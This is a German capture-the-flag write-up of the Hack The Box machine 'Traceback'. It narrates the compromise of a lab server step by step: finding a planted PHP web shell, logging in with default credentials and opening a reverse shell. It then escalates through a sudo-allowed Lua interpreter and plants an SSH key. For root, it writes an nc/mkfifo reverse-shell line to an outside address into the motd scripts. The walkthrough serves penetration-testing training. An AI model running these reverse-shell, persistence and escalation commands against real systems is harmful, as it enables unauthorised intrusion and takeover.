HTB – Traceback

Eine kurze Einleitung zu Hack The Box findet ihr unter HTB – OpenAdmin.

Traceback

Bei Traceback geht es um einen Server, welcher zuvor wohl schon gehackt wurde. Der Hacker hat uns ein kleines „Tool“ da gelassen, welches wir zuerst finden müssen. Nachdem wir über das Tool eine Shell aufgebaut haben kommen wir zum zweiten User über eine spezielle Scriptengine. Der Weg zum Root Zugriff ist zwar schnell erkannt, jedoch in der Umsetzung etwas tricky, mit Schnelligkeit und über ein Modul, welches eig. zum anzeigen von Nachrichten gedacht ist, bekommt man eine Shell als Root.

Port Scan

Ich starte mit dem Portscan

nmap -sV -sC -oA nmap 10.10.10.181

Nmap findet zwei offene Ports: 80 und 22

Geht man über 10.10.10.181 auf die Website sieht man das Folgende

Ein Blick in den Quellcode verrät uns eine interessante info

Es scheint wohl eine web shell auf dem Server zu liegen, die Frage ist welche und wie ich an diese ran komme.

Ich starte zuerst einen normalen Verzeichnis-Scan mit

gobuster dir -w usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.181 

Kann darüber aber nichts brauchbares finden.

Ich google daher mal nach „best web shells“ und schau mir die Ergebnisse an.

Unter https://github.com/x-o-r-r-o/PHP-Webshells-Collection finde ich eine ganze reihe von Webshells, zu viele um diese per Hand zu testen.

Ich clone mir das repository und erstell mir eine eigene kleine wordlist für gobuster

git clone https://github.com/x-o-r-r-o/PHP-Webshells-Collection
ls PHP-Webshells-Collection > shells.txt

Gobuster findet auch hierzu kein Ergebnis also probiere ich das nächste Ergebnis von Google: https://github.com/TheBinitGhimire/Web-Shells, das schaut besser aus, immerhin hat auch der Hacker xh4h diese Webshells in seinem Github: https://github.com/Xh4H/Web-Shells

git clone https://github.com/TheBinitGhimire/Web-Shells
ls Web-Shells >> PHP-Webshells-Collection/shells.txt

Und mit dieser wordlist findet gobuster etwas

Web & Reverse Shell

Über http://10.10.10.181/smevk.php kommen wir zur WebShell

Passwort uns Username sind leicht zu erraten: admin:admin

Da ich lieber direkt über eine commandline shell arbeite, lade ich mir zuerst über die Download Funktion der Webshell eine PHP Script welches mir eine reverse shell zu meiner VM aufbaut.

Ich mache zuerst einen listener bei mir auf

nc -lvnp 4040

Und rufe dann das hochgeladen PHP Script mit meiner IP und dem Port auf

http://10.10.10.181/..php?ip=10.10.15.220&port=4040

Ich bekomme eine Shell bei mir, um eine tty session zu bekommen rufe ich mir über python eine shell auf

python3 -c 'import pty; pty.spawn("/bin/bash")'

whoami zeigt wir sind als webadmin angemeldet

LUA

Im Home Verzeichnis vom webadmin, finde ich einen interessanten Hinweiß vom User sysadmin.

Bei HB – OpenAdmin hab ich gelernt, einer der ersten Befehle, welchen man testen sollte ist sudo -l denn dieser zeigt, ob ein User ggf. etwas mit erweiterten Rechten ausführen darf.

Ich habe Glück und sehe, dass der User sysadmin das Programm, luvit ohne Passworteingabe aufrufen darf.

Google bringt mich zu der Seite https://luvit.io/ dort kann ich sehen, dass luvit wohl ein – oder der? – intrepreter für die skriptsprache LUA ist.

Das heißt, ich kann als user sysadmin lua scripte ausführen ohne das Kennwort für den user sysadmin eingeben zu müssen.

Ich google kurz wie man mit LUA binarys ausführen kann und finde auch direkt eine Antwort auf https://stackoverflow.com/questions/2829404/how-do-i-run-an-executable-using-lua

Ich erstelle mir also kurzerhand ein eigenes lau script (test.lua) welches mir eine Shell aufruft.

echo "os.execute(\"/bin/bash\")" > test.lua

Und rufe dieses als user sysadmin auf

sudo -u sysadmin /home/sysadmin/luvit test.lua

Nun haben wir eine Shell als sysadmin.

Im home Verzeichnis finden wir auch unsere erste Flag „user.txt“

update-motd.d

Ich schau mich ein bisschen um und finde unter /etc/ das Verzeichnis update-motd.d auf welches die Gruppe sysadmin Berechtigungen hat.

Ich google mal wieder und finde zu update-motd.d folgende MAN Page http://manpages.ubuntu.com/manpages/trusty/man5/update-motd.5.html

Die Erweiterung ermöglicht es die „message of the day“ über das Ausführen von binaries zu erstellen bzw. zu erweitert.

Ich schau mir den Inhalt der Dateien an, kann aber nichts interessantes finden, jedoch hab ich auf alle Dateien schreibrechte.

Ich erweitere also die 00-header Datei und schau was passiert wenn ich diese Aufrufe.

echo "whoami" >> 00-header

Ergebnis: nichts. Ich schau nochmal in die Datei und stelle fest das meine Änderung nicht mehr vorhanden sind. Mit

ls -la --time-style=full-iso

schau ich mir die Zeitstempel an und stelle fest, dass die Dateien alle 30 Sekunden geändert bzw. überschrieben werden.

Das heißt, wenn ich meine Änderung gut time, hab ich anschließend max. 30 um mich anzumelden damit die motd (message of the day) ausgeführt wird.

Da ich weder das Kennwort vom webadmin noch vom sysadmin habe, kann ich mich nicht anmelden, was aber notwendig ist da nur dann die motd als root ausgeführt wird.

Ein Login Versuch über SSH zeigt mir, dass neben der Kennwort Authentifizierung auch Puplickey erlaubt ist

Ich erstelle mir also lokal eine SSH KeyPair (pip & pip.pub), starte über python einen webserver, lade den Public Key pip.pub auf das Zielsystem und kopiere ihn in die authorized_key Datei.

Lokal

ssh-keygen
python3 -m http.server --bind 10.10.15.220 8080 

Auf Traceback

wget http://10.10.15.220:8080/pip.pub
cat pip.pub >> .ssh/authorized_keys

Jetzt kann ich mich per SSH anmelden und sehe die motd.

Root

Nachdem es schnell gehen muss, bereite ich alles vor:

1. In einem Terminal (angemeldet als sysadmin) erstelle ich mir einen Befehl, welcher die 00-header Datei erweitert.

echo "mkfifo /tmp/p; nc 10.10.15.220 4444 0</tmp/p | /bin/sh > /tmp/p 2>&1; rm /tmp/p" >> /etc/update-motd.d/00-header

Der Befehl mkfifo /tmp/p; nc 10.10.15.220 4444 0</tmp/p | /bin/sh > /tmp/p 2>&1; rm /tmp/p" baut eine revers shell zu mir über port 4444 auf.

2. In zweiten Terminal starte ich einen listener der die reverse Shell empfängt

nc -lvnp 4444

3. Das dritte Terminal verwende ich, um mich per ssh auf die Maschine zu verbinden und somit die Ausführung der update-motd.d Dateien auszulösen.

Punkt 1 und 3 müssen schnell gehen da ich dafür nur 30 Sekunden habe. Ich starte daher zuerst den listener (2) und danach führe anschließend 1 und 3 direkt hintereinander aus.

Das Ergebnis: In Terminal 2 empfangen wir ein shell und zwar als root.

Mit python3 -c 'import pty; pty.spawn("/bin/bash")' erzeuge ich mir eine tty session.

Im root Verzeichnis finden wir die root.txt

Aus Interesse schau ich mir noch an die CronJobs an

Hier sieht man das alle 30 Sekunden der Inhalt von /var/backups/.update-motd.d/ nach /etc/update.motd.d geschrieben wird, das erklärt warum diese Dateien alle 30 Sekunden geändert werden.

Schreibe einen Kommentar